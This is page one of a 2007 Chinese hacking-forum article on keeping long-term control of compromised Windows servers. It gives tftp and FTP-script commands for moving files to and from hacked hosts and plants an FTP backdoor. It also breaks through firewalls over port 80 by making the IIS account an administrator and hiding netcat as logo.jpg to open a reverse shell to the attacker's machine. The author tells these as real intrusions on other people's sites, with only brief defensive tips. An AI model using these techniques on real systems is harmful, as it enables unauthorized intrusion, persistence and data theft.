安全中国首页 > 文章中心 > 技巧知识
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

肉鸡的长期控制办法与防范的技巧研究

更新时间:2007-9-15 8:07:45
责任编辑:流火
热 点:
一、文件的传输:  
 
 
以下所述方法都是在远程主机没有开启共享的条件下实现的。  
 
 
1、 打开共享  
 
 
使用IDQ、WebDAV等方法对目标进行溢出攻击之后得到system权限,使用net share查看一下共享,发现一个共享都没有打开。没有办法应设对方的硬盘就不方便上传下载文件。  
 
 
其实最简单的办法就是打开它的共享,  
 
 
 
这样,我么就可以映射它的磁盘,实现文件的传输了。  
 
 
其实要防止这种共享打开是十分简单的,只要网上邻居的属性里面没有添加文件和打印共享就可以实现了。  
 
 
 
2、 使用TFTP工具进行文件传输  
 
 
使用TFTP(Trivial File Transfer Protocol)工具来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的ttfp.exe和一个TFTP服务端软件构成一个完整的传输结构。  
 
 
一般在溢出的Shell、Telnet的Shell中使用,当然也可以在SQL Remote Execute 里面实现。在这样那些没有开设共享的实现主机上传下载文件的工作就可以有这个传输模式来完成。  
 
 
首先运行本地的TFTP Server软件并保证始终开启直至传输全部完成, 然后在Shell中运行下面的命令  
 
 
C:\winnt\system32>tftp –i 192.168.0.1 get abc.exe 上传文件到Shell目标  
 
 
C:\winnt\system32>tftp –i 192.168.0.1 put abc.exe 下载文件到本地主机  
 
 
这里你可以在最后面写上你要传送到的路径。  
 
 
这里要提到的是,如果使用一个Private IP address 你将不能实现与外部网络的文件传送。因为,你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址。所以在外部网络进行MAC寻址是找不到你这台TFTP服务器的。  
 
 
想避免这样的传输最直接的办法就是将tftp.exe文件删除,另外你可以使用工具修改列表中的tftp端口号(改为0)。  
 
 
3、 使用本地FTP服务进行文件传输  
 
 
如果你得到一个Shell,是不能直接远程操作FTP命令行的,所以一般来讲我们都要写一个脚本来实现从FTP主机上下载文件或者上传文件。  
 
 
使用echo命令来写这个脚本并执行它:  
 
 
C:\winnt\system32>echo open 192.168.0.1 > ftp.txe  
 
 
C:\ winnt\system32>echo user:pass@192.168.0.1 >>ftp.txt  
 
 
C:\ winnt\system32>echo get abc.exe >>ftp.txt  
 
 
C:\ winnt\system32>echo bye >> ftp.txt  
 
 
C:\ winnt\system32>ftp –s: ftp.txt  
 
 
4、 使用TFTP打开目标FTP服务进行文件传输  
 
 
利用TFTP方法上传一个FTP的后门(例如xftpd.exe,好友Hackerhell推荐),在命令行下面执行它。我们就可以得到一个开设FTP的远程主机。利用浏览器或者是其他工具就可以轻松实现文件的传输。  
 
 
二、突破防火墙:  
 
 
防火墙从外面很难突破,就好像一座森严的壁垒,只有使用一些渗透的手段或者其他的一些方式从内部突破,才能真正达到突破防火墙的目的。  
 
 
有很多渗透攻击的例子,我不能一一列举,事实上我也曾经成功的测试过一些站点,从80端口的渗透攻击是比较常见的,有的是使用溢出攻击、有的是利用页面程序的缺陷进行攻击。  
 
 
突破防火墙是从内部开始的,但是也要先找到一些可以渗透的端口才可以。我前一段写了一篇文章是记录一次渗透攻击的。我是利用ASP页面身份验证里的一个漏洞成功拿到了一个页面管理的权限,实现了一些上传的功能,并从80端口对该主机进行渗透并获得最高权限的。  
 
 
TFTP方法事实上就是一种从内部突破防火墙的方法,由于69端口是系统默认可以使用的TFTP服务端口,所以在Shell中提交一个TFTP传输的申请,防火墙是不会拒绝的。这样,我们就可以将一些有价值的东西传送到我们希望它存在的地方。  
 
 
从80端口突破防火墙是比较常见且比较容易实现的,因为80的访问一般不会被禁止。我曾经做过两次不同的方式但原理相同的突破。使用IDQ溢出得到Shell将ASP木马上传到WWW服务的某个目录下,然后将IUSR_Computername这一IIS访问进程账号加为管理员组成员。随后我将它的IIS服务重新启动  
 
 
C:\winnt\system32>iisreset  
 
 
从新回到浏览器中,打开ASP木马查看net session可以,所以证明刚才我所做的一切都有效果了,这样我就在80端口上建立了一个很高权限(Administrators)的Shell。实现了对防火墙的突破。  
 
 
另外一次是最近的事情,我使用WebDAV对某一主机进行溢出之后,得到system权限,将IIS访问进程账号加为管理员组,上传nc.exe到scripts目录下面并将名称改为logo.jpg,呵呵!由于我没有能够重新启动IIS服务,所以只有等待……第二天我看了看,IIS已经重新启动,而nc也还在,真受不了这样的管理员。FAINT!好了,其实后门就已经架设完成了。在本地命令行输入如下:  
 
 
E:\>nc.exe –l –p 888 –vv 等待一个连接。  
 
 
在浏览器里面输入如下:  
 
 
?-e+c:\winnt\system32\cmd.exe+192.168.0.3+888  
 
 
注:192.168.0.3是我的IP地址。  
 
 
连接成功,我得到的又是admin的权限,看来那为管理员是重新启动了主机……  
 
 
防范ASP木马的文章很多,我就不再介绍。对于脚本执行权限的问题,我想只要你会配置IIS就应该不会成问题吧!  
 
 
上面只是针对80端口渗透突破防火墙的一些思路,事实上还有很多可以实现的突破,例如小叮当那个动画里面利用80端口和PCAnyWhere结合进行的渗透就是非常好的例子。  

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画